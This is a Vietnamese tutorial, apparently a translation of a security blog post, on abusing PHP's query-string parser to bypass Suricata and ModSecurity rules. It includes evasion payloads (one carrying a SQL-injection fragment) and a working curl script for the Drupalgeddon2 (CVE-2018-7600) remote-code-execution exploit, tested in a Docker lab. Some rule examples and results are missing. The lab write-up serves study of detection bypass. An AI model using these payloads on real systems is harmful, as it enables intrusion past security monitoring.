Hướng dẫn dùng parse query trong PHP

Mở đầu

  • Như bạn đã biết, PHP converts query string (trong URL hoặc body) thành một mảng bên trong $_GET hoặc $_POST.
  • Ví dụ: /?foo=bar sẽ trở thành Array([foo] => "bar"). Query string parsing sẽ loại bỏ hoặc thay thế một số ký tự trong tên đối số bằng dấu gạch dưới. Ví dụ: /?%20news[id%00=42 sẽ được chuyển thành Array([news_id] => 42). Nếu IDS/IPS hoặc WAF có rules chặn hoặc ghi nhật ký các giá trị không phải là số trong tham số news_id thì có thể bỏ qua bằng cách sử dụng parsing process với nội dung như sau:
    /news.php?%20news[id%00=42"+AND+1=0--
    
  • Trong PHP, giá trị của argument name trong ví dụ trên %20news[id%00 sẽ được lưu trữ tại $_GET["news_id"].

Tại sao

  • PHP cần chuyển đổi tất cả các đối số thành một tên biến hợp lệ, vì vậy khi chuỗi truy vấn được phân tích, nó thực hiện 2 điều chính:

    • Loại bỏ khoảng trắng ban đầu
    • Chuyển đổi một số ký tự thành dấu gạch dưới (bao gồm cả khoảng trắng)
  • Ví dụ

    USER INPUTDECODEDPHP VARIABLE NAME
    %20foo_bar%00 foo_bar foo_bar
    foo%20bar%00 foo bar foo_bar
    foo%5bbar foo[bar foo_bar
  • Với một vòng lặp đơn giản như sau, bạn có thể kiểm tra xem ký tự nào bị xóa hoặc chuyển đổi thành dấu gạch dưới bằng cách sử dụng hàm parser_str:

    Hướng dẫn dùng parse query trong PHP

  • Tìm kiếm trên google và github, tôi tìm thấy rằng có nhiều quy tắc Suricata cho PHP có thể được bỏ qua bằng cách thay thế dấu gạch dưới, thêm byte rỗng hoặc khoảng trắng trong tên đối số được kiểm tra. Một ví dụ thực tế:

  • Như chúng ta đã thấy, nó có thể bỏ qua bởi

    /view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00
    
  • Có thể thay vị trí đối số như

    /view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1
    

WAF (ModSecurity)

  • PHP query string paser cũng có thể bị sử dụng để bỏ qua các quy tắc của WAF. Hãy tưởng tượng một quy tắc ModSecurty như SecRule! !ARGS:news_id "@rx ^[0-9]+$" "block" thiên về bypass technique. May mắn thay, trong ModSecurity bạn chỉ có thể chỉ định 1 query string bằng một REGEX. Ví dụ:
    SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
    
    Điều này sẽ chặn các yêu cầu sau:

PoC || GTFO

  • Bây giờ tôi có thể tạo PoC với Suricata và Drupal CMS với exploit CVE-2018-7600 (Drupalgeddon2 Remote Code Execution). Để đơn giản hơn, tôi sẽ chạy Suricata và Drupal trên 2 con container docker và tôi sẽ cố gắng khai thác Drupal từ container Suricata.
  • Tôi sẽ active 2 rules bên Suricata:
    • A custom rule that blocks form_id=user_register_form
    • A Positive Technologies Suricata rule for CVE-2018-7600

  • Để cài đặt Suricata, tôi đã làm theo hướng dẫn ở trên trang chủ, và đối với Drupal, tôi đã chạy vulhub mà bạn có thể clone ở đây: Vulhub Drupal

  • Ok rồi, tất cả đã xong, giờ mình có thể sử dụng exploit CVE-2018-7600. Tôi muốn tạo một số bash script mà thực hiện curl, ví dụ:
    #!/bin/bash
    
    URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
    COMMAND="id"
    
    curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
    
    Như bạn có thể thấy, đoạn script trên thực thi lệnh "id". Thử nó xem nào

  • Nào, bây giờ thử import 2 rules vào Suricata. Tôi đã viết cái đầu tiên, và nó cố gắng khớp form_id=user_register_form vào bên trong 1 request body. Cố gắng viết 1 cái thứ 2 /user/register trong request URL và nó trông giống như #post_render trong request body.
  • My rule:

  • PT rule:

  • Sau đó restart Suricata, tôi đã sẵn sang để khai khác xem liệu 2 quy tắc trên có chặn được việc khai thác của tôi không.

  • Nguồn: https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/